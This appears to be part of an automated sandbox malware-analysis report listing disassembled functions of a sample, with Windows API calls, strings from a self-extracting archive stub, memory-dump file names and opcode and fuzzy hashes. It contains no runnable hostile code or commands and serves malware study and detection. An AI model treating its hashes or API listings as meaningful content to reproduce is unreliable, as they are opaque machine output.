                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: EncodePointer_abort
                                                                                                                                                        • String ID: MOC$RCC
                                                                                                                                                        • API String ID: 948111806-2084237596
                                                                                                                                                        • Opcode ID: 1913a9246d9991dfc640ec0f61eccc8a55ab86f63b6c5106baa38a655a9d0a42
                                                                                                                                                        • Instruction ID: 12736ac8f3f9090d1b322b5f289a4941b785b623d6a09540413c10ef98ab6219
                                                                                                                                                        • Opcode Fuzzy Hash: 1913a9246d9991dfc640ec0f61eccc8a55ab86f63b6c5106baa38a655a9d0a42
                                                                                                                                                        • Instruction Fuzzy Hash: 47418831900249EFCF15CF98CC91AEEBBB5FF48310F188099FA06A7221D335A951DB60
                                                                                                                                                        Function 00DA338E Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 88COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • __fprintf_l.LIBCMT ref: 00DA340E
                                                                                                                                                        • _strncpy.LIBCMT ref: 00DA3459
                                                                                                                                                          • Part of subcall function 00DA89ED: WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000050,?,00000000,00000000,00DDE088,?,00000007,00DA33E2,?,?,00000050,D8943D1D), ref: 00DA8A0A
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: ByteCharMultiWide__fprintf_l_strncpy
                                                                                                                                                        • String ID: $%s$@%s
                                                                                                                                                        • API String ID: 562999700-834177443
                                                                                                                                                        • Opcode ID: 674dffb69b017c085b743226a7d84dc5fc961ee6ffad5c15b1458acd080abac8
                                                                                                                                                        • Instruction ID: e5f04f47bf2dd8c60f8f77f5e9829b4bd540412df954a40ed4ede7a53b5322ca
                                                                                                                                                        • Opcode Fuzzy Hash: 674dffb69b017c085b743226a7d84dc5fc961ee6ffad5c15b1458acd080abac8
                                                                                                                                                        • Instruction Fuzzy Hash: 2F216F72500709AFDB11DEA8CC45EAE7BA9FB0A300F180526FA15D7291DB71EA158B70
                                                                                                                                                        Function 00DAF8F0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 86COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • __EH_prolog3_GS.LIBCMT ref: 00DAF8F7
                                                                                                                                                          • Part of subcall function 00D91E44: GetDlgItem.USER32(00000000,00003021), ref: 00D91E88
                                                                                                                                                          • Part of subcall function 00D91E44: SetWindowTextW.USER32(00000000,00DCC6C8), ref: 00D91E9E
                                                                                                                                                        • EndDialog.USER32(?,00000001), ref: 00DAF99F
                                                                                                                                                        • SetDlgItemTextW.USER32(?,00000066,00000000), ref: 00DAF9E1
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: ItemText$DialogH_prolog3_Window
                                                                                                                                                        • String ID: ASKNEXTVOL
                                                                                                                                                        • API String ID: 2321058237-3402441367
                                                                                                                                                        • Opcode ID: d32756296648ff6cbccc0e76adcd09ded836084b1e67228de4e6c8e449864762
                                                                                                                                                        • Instruction ID: 68565991c17ffcc48b7b59259ed679f75df8901e992759735e01cb0abc4ffea3
                                                                                                                                                        • Opcode Fuzzy Hash: d32756296648ff6cbccc0e76adcd09ded836084b1e67228de4e6c8e449864762
                                                                                                                                                        • Instruction Fuzzy Hash: BF213931640245BFDB14EFA8DC8AFAE77A8EB0B345F1400A4F542DB2A5C671AA05CF35
                                                                                                                                                        Function 00DA7445 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • InitializeCriticalSection.KERNEL32(00000320,00000000,?,?,?,00D9FEBD,00000008,00000004,00DA2D42,?,?,?,?,00000000,00DAABB6,?), ref: 00DA7484
                                                                                                                                                        • CreateSemaphoreW.KERNEL32(00000000,00000000,00000040,00000000,?,?,?,00D9FEBD,00000008,00000004,00DA2D42,?,?,?,?,00000000), ref: 00DA748E
                                                                                                                                                        • CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,?,?,00D9FEBD,00000008,00000004,00DA2D42,?,?,?,?,00000000), ref: 00DA749E
                                                                                                                                                        Strings
                                                                                                                                                        • Thread pool initialization failed., xrefs: 00DA74B6
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: Create$CriticalEventInitializeSectionSemaphore
                                                                                                                                                        • String ID: Thread pool initialization failed.
                                                                                                                                                        • API String ID: 3340455307-2182114853
                                                                                                                                                        • Opcode ID: d12f17fe617f223f2b5992b313a94db913d959b662c111c8c40869c9692da784
                                                                                                                                                        • Instruction ID: 18480612f3a0322f0b90dbfd9e24fac755b855d88c730359c36e07a50c57a0a5
                                                                                                                                                        • Opcode Fuzzy Hash: d12f17fe617f223f2b5992b313a94db913d959b662c111c8c40869c9692da784
                                                                                                                                                        • Instruction Fuzzy Hash: 01115EB164470AAFD3215F6A9C849A7FBECFB99754F14482EF1DAC2300D6B169808B74
                                                                                                                                                        Function 00DB406A Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 54COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: RENAMEDLG$REPLACEFILEDLG
                                                                                                                                                        • API String ID: 0-56093855
                                                                                                                                                        • Opcode ID: dbfa124a2d8bf1cb68226c06e760cbdfd23124676ca1dd3b8834a72baee559f0
                                                                                                                                                        • Instruction ID: 3d91719296361b5b12c1cab0f5b25cf329703a2965f2e50ae8efad0343904694
                                                                                                                                                        • Opcode Fuzzy Hash: dbfa124a2d8bf1cb68226c06e760cbdfd23124676ca1dd3b8834a72baee559f0
                                                                                                                                                        • Instruction Fuzzy Hash: 45115A70605385EBD311EF18ECC4A667BE8E7493D5B04442AFA42CB321C2719844EB71
                                                                                                                                                        Function 00DBA892 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00DBA843,00000000,?,00DE6150,?,?,?,00DBA9E6,00000004,InitializeCriticalSectionEx,00DCF7F4,InitializeCriticalSectionEx), ref: 00DBA89F
                                                                                                                                                        • GetLastError.KERNEL32(?,00DBA843,00000000,?,00DE6150,?,?,?,00DBA9E6,00000004,InitializeCriticalSectionEx,00DCF7F4,InitializeCriticalSectionEx,00000000,?,00DBA79D), ref: 00DBA8A9
                                                                                                                                                        • LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00DBA8D1
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: LibraryLoad$ErrorLast
                                                                                                                                                        • String ID: api-ms-
                                                                                                                                                        • API String ID: 3177248105-2084034818
                                                                                                                                                        • Opcode ID: e165b1364d1859c4bcf2a642eb5592ad2f56869a4771b87bab29cb5a127e9550
                                                                                                                                                        • Instruction ID: 5c92871a78025ee0f689d9d9d741da8221710cf7620a9ffb7d35d3d13556d661
                                                                                                                                                        • Opcode Fuzzy Hash: e165b1364d1859c4bcf2a642eb5592ad2f56869a4771b87bab29cb5a127e9550
                                                                                                                                                        • Instruction Fuzzy Hash: 13E04834280307F7DF101FA1DC06F983A559B10B51F140034FA4FE4DE0D761991196F5
                                                                                                                                                        Function 00DC07EA Relevance: 6.3, APIs: 4, Instructions: 305COMMONLIBRARYCODE
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: __alldvrm$_strrchr
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1036877536-0
                                                                                                                                                        • Opcode ID: 1ec6666d94b4212580304211626675eb5ed9854efa503107affec4ce99a0ac8c
                                                                                                                                                        • Instruction ID: c8c544d0c0b6c474b83e0635f6a0b5e7e7721b3c4ccd7f3c3fec428f48eb18d4
                                                                                                                                                        • Opcode Fuzzy Hash: 1ec6666d94b4212580304211626675eb5ed9854efa503107affec4ce99a0ac8c
                                                                                                                                                        • Instruction Fuzzy Hash: D8A10472A04387DFEB129E28C891FAEBFE4EF55310F18416DE5959B282C6348941CBB0
                                                                                                                                                        Function 00DC3638 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,00DC0481,?,00000000,?,00000001,?,?,00000001,00DC0481,?), ref: 00DC3685
                                                                                                                                                        • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00DC370E
                                                                                                                                                        • GetStringTypeW.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00DBDBD1,?), ref: 00DC3720
                                                                                                                                                        • __freea.LIBCMT ref: 00DC3729
                                                                                                                                                          • Part of subcall function 00DC040E: RtlAllocateHeap.NTDLL(00000000,00DB535E,?,?,00DB6C16,?,?,?,?,?,00DB5269,00DB535E,?,?,?,?), ref: 00DC0440
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: ByteCharMultiWide$AllocateHeapStringType__freea
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 2652629310-0
                                                                                                                                                        • Opcode ID: ef6c1eec7d26bc150fdcf2d8fa286362f5c9201ec95b28961ae7e1b1507b7416
                                                                                                                                                        • Instruction ID: 432f9da4a6c554a3cf11122fa2fe64b61284979fd7e300223fe450f64637b6c7
                                                                                                                                                        • Opcode Fuzzy Hash: ef6c1eec7d26bc150fdcf2d8fa286362f5c9201ec95b28961ae7e1b1507b7416
                                                                                                                                                        • Instruction Fuzzy Hash: 96319EB1A0020AABDF259F65DC45EEE7BA5EB44750B18412CF805D7290EB36CE51CBB0
                                                                                                                                                        Function 00DA62CD Relevance: 6.1, APIs: 4, Instructions: 60COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • __EH_prolog3.LIBCMT ref: 00DA62D4
                                                                                                                                                        • ExpandEnvironmentStringsW.KERNEL32(?,00000000,00000000,?,?,?,?,?,00000010), ref: 00DA62EB
                                                                                                                                                        • ExpandEnvironmentStringsW.KERNEL32(?,?,?,00000000,?,?,?,?,?,00000010), ref: 00DA6328
                                                                                                                                                        • _wcslen.LIBCMT ref: 00DA6338
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: EnvironmentExpandStrings$H_prolog3_wcslen
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 3741103063-0
                                                                                                                                                        • Opcode ID: 2337f9e828b395425a718d9696ecd710669733f80082c0f77900f2cab05f6d0e
                                                                                                                                                        • Instruction ID: d2f86d1bd91236b5597733be68cbb100e7f7e67a8290ea511f08513cd48bada9
                                                                                                                                                        • Opcode Fuzzy Hash: 2337f9e828b395425a718d9696ecd710669733f80082c0f77900f2cab05f6d0e
                                                                                                                                                        • Instruction Fuzzy Hash: 9C115E74A1120AEF9F049FA899859BFBB79FF46314B18411DE412E7240DB34ED42CBB5
                                                                                                                                                        Function 00DA126C Relevance: 6.1, APIs: 4, Instructions: 60COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • __EH_prolog3.LIBCMT ref: 00DA1273
                                                                                                                                                          • Part of subcall function 00DA067E: GetVersionExW.KERNEL32(?), ref: 00DA06AF
                                                                                                                                                        • FoldStringW.KERNEL32(00000020,?,000000FF,00000000,00000000,0000000C,00D9350C,D8943D45,00000000,?,?,00D943F5,?,?,?,00000000), ref: 00DA129A
                                                                                                                                                        • FoldStringW.KERNEL32(00000020,?,000000FF,?,?,00000000), ref: 00DA12D4
                                                                                                                                                        • _wcslen.LIBCMT ref: 00DA12DF
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: FoldString$H_prolog3Version_wcslen
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 535866816-0
                                                                                                                                                        • Opcode ID: 64dde51e58378ce5548fcf8ddb3870e8992a6652df85db317447c49826c850af
                                                                                                                                                        • Instruction ID: e119598d2a527223ec9bf5df0747a172151e465af1c602a325fa00792b2f7554
                                                                                                                                                        • Opcode Fuzzy Hash: 64dde51e58378ce5548fcf8ddb3870e8992a6652df85db317447c49826c850af
                                                                                                                                                        • Instruction Fuzzy Hash: AA117775A11127ABDB109FA98D46ABF7B79EF46720F140309F510E72C1CB609940C6F5
                                                                                                                                                        Function 00DC19E4 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00000000,00000000,00000000,?,00DC198B,00000000,00000000,00000000,00000000,?,00DC1B88,00000006,FlsSetValue), ref: 00DC1A16
                                                                                                                                                        • GetLastError.KERNEL32(?,00DC198B,00000000,00000000,00000000,00000000,?,00DC1B88,00000006,FlsSetValue,00DD0DD0,FlsSetValue,00000000,00000364,?,00DC00D7), ref: 00DC1A22
                                                                                                                                                        • LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,00DC198B,00000000,00000000,00000000,00000000,?,00DC1B88,00000006,FlsSetValue,00DD0DD0,FlsSetValue,00000000), ref: 00DC1A30
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: LibraryLoad$ErrorLast
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 3177248105-0
                                                                                                                                                        • Opcode ID: f0dfa288886e8a3febe2cc3ff76c25a9375ce20a4c577ef5ed586c9758dfe682
                                                                                                                                                        • Instruction ID: 5751fd56459aac11ea37246f2203cac09c05f5142ee222b638c4cce47d605453
                                                                                                                                                        • Opcode Fuzzy Hash: f0dfa288886e8a3febe2cc3ff76c25a9375ce20a4c577ef5ed586c9758dfe682
                                                                                                                                                        • Instruction Fuzzy Hash: 5501F73A657333ABC7218AA89C44F567B98AF467A1B151628FA0ED7341C720DC02C6F4
                                                                                                                                                        Function 00DA1309 Relevance: 6.0, APIs: 4, Instructions: 46COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • __EH_prolog3.LIBCMT ref: 00DA1310
                                                                                                                                                        • GetCurrentDirectoryW.KERNEL32(00000000,00000000,0000000C,00DA17FB,?,?,\\?\,D8943D1D,?,?,?,00000000,00DCA279,000000FF), ref: 00DA1319
                                                                                                                                                        • GetCurrentDirectoryW.KERNEL32(?,?,00000000,?,?,?,00000000,00DCA279,000000FF), ref: 00DA1348
                                                                                                                                                        • _wcslen.LIBCMT ref: 00DA1351
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: CurrentDirectory$H_prolog3_wcslen
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 19219720-0
                                                                                                                                                        • Opcode ID: ca2d213f548ec0f7a4a1ef6837101909ddb029f6a9fd8c57791b88abe5645263
                                                                                                                                                        • Instruction ID: c5cb3a0595fc3642c4f0eca33be38ed300fdf93d6fbab5f02b00488d0d4f89b2
                                                                                                                                                        • Opcode Fuzzy Hash: ca2d213f548ec0f7a4a1ef6837101909ddb029f6a9fd8c57791b88abe5645263
                                                                                                                                                        • Instruction Fuzzy Hash: EE018F7590021BEB8F10AFB899059BFBB79EF82720B140209F611E7241CF34990096B1
                                                                                                                                                        Function 00DB631E Relevance: 6.0, APIs: 4, Instructions: 25COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • SleepConditionVariableCS.KERNELBASE(?,00DB62BB,00000064), ref: 00DB6341
                                                                                                                                                        • LeaveCriticalSection.KERNEL32(00DE60E0,?,?,00DB62BB,00000064,?,?,?,?,00000000,00DCA75D,000000FF), ref: 00DB634B
                                                                                                                                                        • WaitForSingleObjectEx.KERNEL32(00000064,00000000,?,00DB62BB,00000064,?,?,?,?,00000000,00DCA75D,000000FF), ref: 00DB635C
                                                                                                                                                        • EnterCriticalSection.KERNEL32(00DE60E0,?,00DB62BB,00000064,?,?,?,?,00000000,00DCA75D,000000FF), ref: 00DB6363
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 3269011525-0
                                                                                                                                                        • Opcode ID: 54de38c7e8066f57f0e989771ea110a52527ef2b499460a1fdb753db295cb34e
                                                                                                                                                        • Instruction ID: b3f77a359ee9abc41a45e2fe04fccd6a574452e18c35b453618c70b90235d018
                                                                                                                                                        • Opcode Fuzzy Hash: 54de38c7e8066f57f0e989771ea110a52527ef2b499460a1fdb753db295cb34e
                                                                                                                                                        • Instruction Fuzzy Hash: C8E01232551376EFCB112B91EC09F9D7F68EB14BE1B084015F60AE6360C661DA11ABF4
                                                                                                                                                        Function 00DAEB74 Relevance: 6.0, APIs: 4, Instructions: 19COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • GetDC.USER32(00000000), ref: 00DAEB77
                                                                                                                                                        • GetDeviceCaps.GDI32(00000000,00000058), ref: 00DAEB86
                                                                                                                                                        • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00DAEB94
                                                                                                                                                        • ReleaseDC.USER32(00000000,00000000), ref: 00DAEBA2
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
